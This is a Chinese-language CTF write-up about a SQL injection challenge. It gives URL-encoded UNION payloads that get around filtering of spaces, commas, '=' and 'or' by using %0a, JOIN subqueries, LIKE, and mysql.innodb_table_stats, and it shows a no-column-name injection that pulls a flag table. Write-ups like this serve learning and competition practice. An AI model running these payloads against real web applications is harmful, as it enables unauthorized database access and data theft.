web安全,ctf

记一次sql注入题目

前言

前几天在做上海赛中碰到一道sql注入题,很简单的一道题,过滤的也都fuzz出来了,绕过方法也找到了,还是没做出来,因为不能有单引号,一出现单引号就404,fuzz到其他敏感字都是提示禁用的,就是单引号会404,赛后看payload也是有单引号的,emmm...可能还是自己payload没写好吧。。原谅注入学的最菜的我,,,这里小记一下吧。

例题

通过一道题目记下思路和过程。
在这里插入图片描述
题目输入内容,然后可以查找留言内容,这没什么好说的。这里点查看数据
在这里插入图片描述
给出了后端sql语句。这样对注入方便多了,当然这里并不是真的flag,自己随意留言的。
然后简单测试一下。
在这里插入图片描述
这里猜想or应该被过滤掉了,做一个简单fuzz,看哪些被过滤掉了。
在这里插入图片描述
可以看到如上都是被过滤掉的。常用的and,逗号,=等都被过滤掉了。or没被过滤,我们还可以用information.去爆内容,=号可以用like替代,逗号可以用join替代。还会发现下面
在这里插入图片描述
空格被替换成了@,/**/也被过滤了,但可以用+或者%0a等很多可以绕过的。
所以如下payload:

爆库:0%27%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d%0ajoin(select%0adatabase())e%23

在这里插入图片描述
成功返回数据库名test。

爆表:0%27%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d%0ajoin(select%0a(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema%0alike%0adatabase()))e%23

在这里插入图片描述

可以看到flag表,这时我们可以爆下列

爆列 0%27%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d%0ajoin(select%0a(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name%0alike%0a'flllll4g'))e%23

在这里插入图片描述

爆值:0%27%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d%0ajoin(select%0agroup_concat(flag1)%0afrom%0aflllll4g)e%23

在这里插入图片描述
也可以通过无列名注入的方式直接爆flag

0%27%0aunion%0aselect%0a*%0afrom%0a(select%0a1)z%0ajoin(select%0a2)x%0ajoin(select%0a3)y%0ajoin(select%0a4)n%0ajoin(select%0ai.2%0afrom%0a(select%0a*%0afrom%0a(select%0a1)a%0ajoin(select%0a2)b%0aunion%0aselect%0a*%0afrom%0aflllll4g)i%0alimit%0a1%0aoffset%0a1)g%23

这里分解一下payload
0' union select * from (select 1)z join(select 2)x join(select 3)y join(select 4)n join(select i.2 from (select * from (select 1)a join(select 2)b union select * from flllll4g)i limit 1 offset 1)g

jion为mysql的表的连接函数,可以通过select * from (select 1)z join(select 2)x join(select 3)y join(select 4)n这种形式来绕过逗号,达到的效果就是select 1,2,3,4,后面的字母随意跟但不要重复。
select i.2 from (select * from (select 1)a join(select 2)b union select * from flllll4g)i limit 1 offset 1
这里的内容就相当于查询flag表的值然后通过i.2(n)回显出来。n代表第n列数据,该表有几列对应几个select 1查询,后面的limit 1 offset 1相当于limit 1,1,可自行更改第几行数据,如1,2查询第二行数据。

参考上海赛easysql题:
在过滤了or的情况下,可使用另一个系统表mysql.innodb_table_stats。

1. 尝试寻找回显点,使用join bypass逗号过滤。

/article.php?id=0' union%0bselect * from (select 1)a join (select 2)b join (select 3)c join (select 4)d%23

2. 尝试爆表,但是or被过滤,我们选取另一个系统表mysql.innodb_table_stats。

/article.php?id=0' union%0bselect * from (select 1)a join (select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b join (select 3)c join (select 4)d%23

3. 使用无列名注入,拿到flag。

/article.php?id=0' union%0bselect * from (select 1)z join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x join (select 3)v join (select 3)n%23

回复

This is just a placeholder img.